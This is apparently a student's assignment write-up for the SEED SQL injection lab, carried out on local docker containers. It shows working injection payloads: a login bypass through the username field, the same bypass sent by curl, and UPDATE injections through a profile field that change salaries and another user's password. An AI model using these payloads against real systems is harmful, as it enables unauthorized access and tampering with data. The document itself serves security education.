

Assignment 4

Comp 4580

Ryan Dotzlaw - 7881954

Do tasks 2 and 3

Setup

Add address to etc/hosts

```
seed@VM: ~/.../A4 x seed@VM: /etc
127.0.1.1      VM

# The following lines are desirable for IPv6 capable hosts
::1          ip6-localhost ip6-loopback
fe00::0      ip6-localnet
ff00::0      ip6-mcastprefix
ff02::1      ip6-allnodes
ff02::2      ip6-allrouters

# For DNS Rebinding Lab
192.168.60.80 www.seedIoT32.com

# For SQL Injection Lab
#10.9.0.5      www.SeedLabSQLInjection.com
10.9.0.5      www.seed-server.com
```

Build docker containers

```
---> Running in 6edcc85abf99
Removing intermediate container 6edcc85abf99
---> 9e9bdf374a10
Step 6/7 : ENV MYSQL_DATABASE=sqllab_users
---> Running in ad45d1b0cb63
Removing intermediate container ad45d1b0cb63
---> 2469808f9c50
Step 7/7 : COPY sqllab_users.sql /docker-entrypoint-initdb.d
---> 9538a747a8fc

Successfully built 9538a747a8fc
Successfully tagged seed-image-mysql-sqli:latest
[03/11/24] seed@VM: ~/.../A4$ █
```

Start docker containers

```
mysql-10.9.0.6 | 2024-03-11 22:15:26+00:00 [Note] [Entrypoint]: MySQL init process done. Re
mysql-10.9.0.6 | 2024-03-11T22:15:27.617915Z 0 [System] [MY-010116] [Server] /usr/sbin/mysq
mysql-10.9.0.6 | 2024-03-11T22:15:27.653034Z 1 [System] [MY-013576] [InnoDB] InnoDB initial
mysql-10.9.0.6 | 2024-03-11T22:15:28.250075Z 1 [System] [MY-013577] [InnoDB] InnoDB initial
mysql-10.9.0.6 | 2024-03-11T22:15:28.698854Z 0 [System] [MY-011323] [Server] X Plugin ready
socket: /var/run/mysqld/mysqld.sock
mysql-10.9.0.6 | 2024-03-11T22:15:28.968466Z 0 [Warning] [MY-010068] [Server] CA certificat
mysql-10.9.0.6 | 2024-03-11T22:15:28.972697Z 0 [System] [MY-013602] [Server] Channel mysql
ons are now supported for this channel.
mysql-10.9.0.6 | 2024-03-11T22:15:28.993998Z 0 [Warning] [MY-011810] [Server] Insecure con
d' in the path is accessible to all OS users. Consider choosing a different directory.
mysql-10.9.0.6 | 2024-03-11T22:15:29.137449Z 0 [System] [MY-010931] [Server] /usr/sbin/mysq
et: '/var/run/mysqld/mysqld.sock' port: 3306 MySQL Community Server - GPL.
```

Task 2.1: Webpage Select Injection

On the login page...

Employee Profile Login

USERNAME

PASSWORD

Login

Copyright © SEED LABs

We can easily login as the admin using the following credentials:

```
Username: "Admin';-- "
Password: ""
```

Employee Profile Login


USERNAME Admin';--

PASSWORD Password

Login

Copyright © SEED LABs

We can see we now have access to the `admin` account's home page.

 [Home](#) [Edit Profile](#) [Logout](#)

User Details

Username	Eid	Salary	Birthday	SSN	Nickname	Email	Address	Ph. Number
Alice	10000	20000	9/20	10211002				
Boby	20000	30000	4/20	10213352				
Ryan	30000	50000	4/10	98993524				
Samy	40000	90000	1/11	32193525				
Ted	50000	110000	11/3	32111111				
Admin	99999	400000	3/5	43254314				

Copyright © SEED LABs

Task 2.2: Commandline Select Injection

Now we want to send a `curl` to the webpage and pass parameters in the URL to perform a SQL Injection.

With the following command:

```
curl 'www.seed-server.com/unsafe_home.php?username=Admin%27;--%20&Password='
```

Which results in:

```

<body>
  <nav class="navbar fixed-top navbar-expand-lg navbar-light" style="background-color: #f8f9fa;">
    <div class="collapse navbar-collapse" id="navbarTogglerDemo01">
      <a class="navbar-brand" href="unsafe_home.php" > Seed Labs</a>
      <ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'>
        <li class='nav-item'><a href='unsafe_home.php'>Home <span class='sr-only'>(current)</span></a></li><li class='nav-item'><a href='unsafe_file.php'>File</a></li></ul><button onclick='logout()' type='button' id='logoffBtn' class='btn btn-light'>Logout</button>
    </div>
  </nav>
  <br>
  <h1 class='text-center'><b> User Details </b></h1><hr>
  <table border="1" class="table table-dark">
    <tr>
      <th scope='col'>Username</th>
      <th scope='col'>EId</th>
      <th scope='col'>Age</th>
      <th scope='col'>Nickname</th>
      <th scope='col'>Email</th>
      <th scope='col'>Avatar</th>
    </tr>
    <tr>
      <th scope='row'> Alice</th>
      <td>10000</td>
      <td>20000</td>
      <td>9/20</td>
      <td>102000</td>
      <td>alice@seedlabs.com</td>
    </tr>
    <tr>
      <th scope='row'> Bobby</th>
      <td>20000</td>
      <td>30000</td>
      <td>4/20</td>
      <td>10213352</td>
      <td>bobby@seedlabs.com</td>
    </tr>
    <tr>
      <th scope='row'> Charlie</th>
      <td>30000</td>
      <td>50000</td>
      <td>4/10</td>
      <td>98993524</td>
      <td>charlie@seedlabs.com</td>
    </tr>
    <tr>
      <th scope='row'> David</th>
      <td>40000</td>
      <td>60000</td>
      <td>5/11</td>
      <td>32193525</td>
      <td>david@seedlabs.com</td>
    </tr>
    <tr>
      <th scope='row'> Eve</th>
      <td>50000</td>
      <td>70000</td>
      <td>6/12</td>
      <td>43210987</td>
      <td>eve@seedlabs.com</td>
    </tr>
    <tr>
      <th scope='row'> Frank</th>
      <td>60000</td>
      <td>80000</td>
      <td>7/13</td>
      <td>32111111</td>
      <td>frank@seedlabs.com</td>
    </tr>
    <tr>
      <th scope='row'> Grace</th>
      <td>70000</td>
      <td>90000</td>
      <td>8/14</td>
      <td>21098765</td>
      <td>grace@seedlabs.com</td>
    </tr>
    <tr>
      <th scope='row'> Henry</th>
      <td>80000</td>
      <td>100000</td>
      <td>9/15</td>
      <td>10987654</td>
      <td>henry@seedlabs.com</td>
    </tr>
    <tr>
      <th scope='row'> Ivy</th>
      <td>90000</td>
      <td>110000</td>
      <td>10/16</td>
      <td>98765432</td>
      <td>ivy@seedlabs.com</td>
    </tr>
    <tr>
      <th scope='row'> Jack</th>
      <td>100000</td>
      <td>120000</td>
      <td>11/17</td>
      <td>87654321</td>
      <td>jack@seedlabs.com</td>
    </tr>
  </table>
  <div class="text-center">
    <p>
      Copyright &copy; SEED LABS
    </p>
  </div>
  <script type="text/javascript">
    function logout(){
      location.href = "logoff.php";
    }
  </script>
</body>
</html>

```

Which is hard to read, but theres clearly a logout function and some kind of table, meaning we successfully logged in.

Task 2.3: Webpage Append Injection

To run multiple SQL commands, we just need to add a second statement after the semicolon in our 2.1 input.

We can do this using the following credentials:

```

Username: "Admin"; Update credentials set Nickname='Badmin' where eid=99999;# "
Password: ""

```

However, this will always return a syntax error.

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Update credential set Nickname='Badmin' where eid='99999'; #' and Password='da39' at line 3]\n

This is because the `PHP` function, `$query` used in the login page cannot perform multiple queries with one input by design.

Here's a snippet from the `PHP` manual on this [topic](#).

Security considerations

The API functions `mysqli::query()` and `mysqli::real_query()` do not set a connection flag necessary for activating multi queries in the server. An extra API call is used for multiple statements to reduce the damage of accidental SQL injection attacks. An attacker may try to add statements such as `; DROP DATABASE mysql` or `; SELECT SLEEP(999)`. If the attacker succeeds in adding SQL to the statement string but `mysqli::multi_query()` is not used, the server will not execute the injected and malicious SQL statement.

Example #2 SQL Injection

```
<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("example.com", "user", "password", "database");
$result = $mysqli->query("SELECT 1; DROP TABLE mysql.user");
?>
```

The above example will output:

```
PHP Fatal error:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to
use near 'DROP TABLE mysql.user' at line 1
```

Task 3.1: Increase Alice's Salary

Now we want to increase the salary of the 'Alice' account.

We can change our the salary with the following inputs:

Alice's Profile Edit

NickName	<input type="text" value="NickName"/>
Email	<input type="text" value="Email"/>
Address	<input type="text" value="Address"/>
Phone Number	<input type="text" value="', salary='9999999"/>
Password	<input type="text" value="Password"/>

Save

As we can see, the changes went through successfully.

Alice Profile

Key	Value
Employee ID	10000
Salary	9999999
Birth	9/20
SSN	10211002
NickName	
Email	
Address	
Phone Number	

Task 3.2: Set Bobby's Salary to 1

To do this we need to modify the salary value, and also change the where clause.

We can do this with the following inputs.

Alice's Profile Edit

NickName

Email

Address

Phone
Number

Password

Save

```
PhoneNumber: "', salary='1' where name='boby';-- "
```

As we can see using the docker shell, the changes went through.

```
mysql> select * from credential;
+-----+-----+-----+-----+-----+
| ID | Name | EID | Salary | birth |
+-----+-----+-----+-----+-----+
| 1 | Alice | 10000 | 9999999 | 9/20 |
| 2 | Boby | 20000 | 1 | 4/20 |
| 3 | Ryan | 30000 | 50000 | 4/10 |
| 4 | Samy | 40000 | 90000 | 1/11 |
| 5 | Ted | 50000 | 110000 | 11/3 |
| 6 | Admin | 99999 | 400000 | 3/5 |
+-----+-----+-----+-----+-----+
6 rows in set (0.00 sec)

mysql> █
```

Task 3.3: Change Boby's Password

Now we want to change Boby's password without logging into their account.

We need to change the value in the phone number field to modify the where clause.

Additionally we need to input the new password into the password field.

By modifying the where clause, the password we input will be hashed and applied to Boby's account instead of Alice's

Alice's Profile Edit

NickName	<input type="text" value="NickName"/>
Email	<input type="text" value="Email"/>
Address	<input type="text" value="Address"/>
Phone Number	<input type="text" value="' where name='boby';"/>
Password	<input type="password" value="....."/>

Save

Copyright © SEED LABs

```
PhoneNumber: "' where name='boby';-- "  
Password: "AliceIs#1"
```

Then, we can confirm this by logging into Bobby's account.

Boby Profile

Key	Value
Employee ID	20000
Salary	1
Birth	4/20
SSN	10213352
NickName	
Email	
Address	
Phone Number	